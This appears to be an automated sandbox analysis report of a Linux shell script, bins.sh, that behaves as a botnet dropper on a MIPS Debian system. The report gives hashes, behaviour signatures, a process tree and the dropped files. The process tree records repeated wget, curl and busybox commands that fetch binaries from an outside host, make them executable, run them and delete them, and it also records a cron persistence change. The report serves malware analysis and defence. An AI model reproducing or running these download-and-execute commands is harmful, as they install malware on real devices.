Analysis

  • max time kernel
    58s
  • max time network
    131s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    21-11-2024 06:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0aa36dbe759c8d988e78a4412cf5063a

  • SHA1

    552ab3a8677b9f2d930adb11c1444a26b37c0127

  • SHA256

    bfb23eb934f3883d78cf1eac1564c0134e0dcaf113d1d181f6cfa3a286ba15df

  • SHA512

    efecf14821061e965eb5296d96de0faa0895d3a49a07ff769c847ef448f750876a33f6dda7369fb2f2f608eb6098dc062dfbd176a97c532397d41ee476cd0a92

  • SSDEEP

    192:p5Me8mAURUpUEdUTUHUO39v8kURUpUEdUTUHUmC:p5Me8mAg85dCyx9v8kg85dCyI

Malware Config

Signatures

  • Contacts a large (980) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 22 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 17 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:702
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:704
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:707
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          ./AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:756
          • /bin/chmod
            chmod 777 Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • File and Directory Permissions Modification
            PID:761
          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            ./Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
            • Executes dropped EXE
            PID:762
          • /bin/rm
            rm Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL
            2⤵
              PID:766
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:767
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:788
            • /bin/chmod
              chmod 777 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • File and Directory Permissions Modification
              PID:792
            • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              ./7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
              • Executes dropped EXE
              PID:794
            • /bin/rm
              rm 7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD
              2⤵
                PID:797
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:798
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:801
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:806
              • /bin/chmod
                chmod 777 jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • File and Directory Permissions Modification
                PID:807
              • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                ./jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                • Executes dropped EXE
                PID:808
              • /bin/rm
                rm jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL
                2⤵
                  PID:810
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:811
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:812
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:826
                • /bin/chmod
                  chmod 777 UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • File and Directory Permissions Modification
                  PID:832
                • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  ./UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:833
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:836
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:837
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:839
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            • Reads runtime system information
                            PID:841
                      • /bin/rm
                        rm UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G
                        2⤵
                          PID:848
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                          • System Network Configuration Discovery
                          PID:852
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                          • System Network Configuration Discovery
                          PID:934
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:936
                        • /bin/chmod
                          chmod 777 T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                          • File and Directory Permissions Modification
                          PID:939
                        • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          ./T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                          • Executes dropped EXE
                          PID:940
                        • /bin/rm
                          rm T70t952DDmCI9FMME49s5SlUXrw2wnwUUV
                          2⤵
                            PID:942
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            2⤵
                            • System Network Configuration Discovery
                            PID:943
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            2⤵
                            • System Network Configuration Discovery
                            PID:944
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:945
                          • /bin/chmod
                            chmod 777 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            2⤵
                            • File and Directory Permissions Modification
                            PID:946
                          • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            ./7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            2⤵
                            • Executes dropped EXE
                            PID:947
                          • /bin/rm
                            rm 7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb
                            2⤵
                              PID:949
                            • /usr/bin/wget
                              wget http://conn.masjesu.zip/bins/Nfs1F7PfBZSF5WdfapMbJC07hG8L2urNXq
                              2⤵
                              • System Network Configuration Discovery
                              PID:950

                          Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          • /tmp/7Vcp2MegAZEnA2p38J6BB6vba5Rn75CWkb

                            Filesize

                            99KB

                            MD5

                            9438d9bc392bcf300a5583b6df5bc8f6

                            SHA1

                            375a6ae34b516f6f3eeea8030c4084f585017efa

                            SHA256

                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                            SHA512

                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                          • /tmp/7YCPWx9HrE33WqR9ARO6Q88Oiq05Z8j4aD

                            Filesize

                            141KB

                            MD5

                            3ca8decdb1e52c423c521bfff02ac200

                            SHA1

                            8621ecd6807109b8541912ad9e134f6fb49bfd48

                            SHA256

                            dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                            SHA512

                            b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                          • /tmp/AIKFd1F62S9ypr3cTLM61YGcbHz8RbyaLI

                            Filesize

                            107KB

                            MD5

                            eb9c3a0de91fcf16ba17cb24608df68c

                            SHA1

                            09d95a7d70d5e115d103be51edff7c498d272fac

                            SHA256

                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                            SHA512

                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                          • /tmp/T70t952DDmCI9FMME49s5SlUXrw2wnwUUV

                            Filesize

                            111KB

                            MD5

                            701e7a55a4f3650f5feee92a9860e5fc

                            SHA1

                            6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                            SHA256

                            ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                            SHA512

                            7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                          • /tmp/UeKjmOAduxFPlfQ0zNo7BsQQLY7SAQpx9G

                            Filesize

                            151KB

                            MD5

                            6c583043d91c55aa470c08c87058e917

                            SHA1

                            abf65a5b9bba69980278ad09356e53de8bb89439

                            SHA256

                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                            SHA512

                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                          • /tmp/Wm16Bl0E06cyu0MoQrmdT4fGQsVYkS2GUL

                            Filesize

                            98KB

                            MD5

                            5141342d0df8699fa32a6b066a0c592e

                            SHA1

                            8157673225bd5182f16215e2aa823a25ca2d4fbc

                            SHA256

                            54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                            SHA512

                            d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                          • /tmp/jVULw0cLkzqn5Nvg0V0BLfOMCpqEcBTGPL

                            Filesize

                            127KB

                            MD5

                            89077b7bd4bcafca7713be43635c4862

                            SHA1

                            fc02edb8fba29ea8ee99e6157ef8560334530052

                            SHA256

                            78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                            SHA512

                            1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                          • /var/spool/cron/crontabs/tmp.3eT46e

                            Filesize

                            210B

                            MD5

                            edd2f0f54cf1c434214003f08051117a

                            SHA1

                            7653fd0a5c62f4a83b3e1d3a58d03d2b0ca4e6dc

                            SHA256

                            60c0678855ca50994b451c42f4e1090c7c5ca44d87c67632c7207d9a5f259ad3

                            SHA512

                            83b1bdfd6d8c665d5f1e4ddd498ef6e2eb52d95be879faada66e731015d170737596d16d49a3802e948c7a05672c954cef59674fd21b1a2b08de83b00a4fd2ec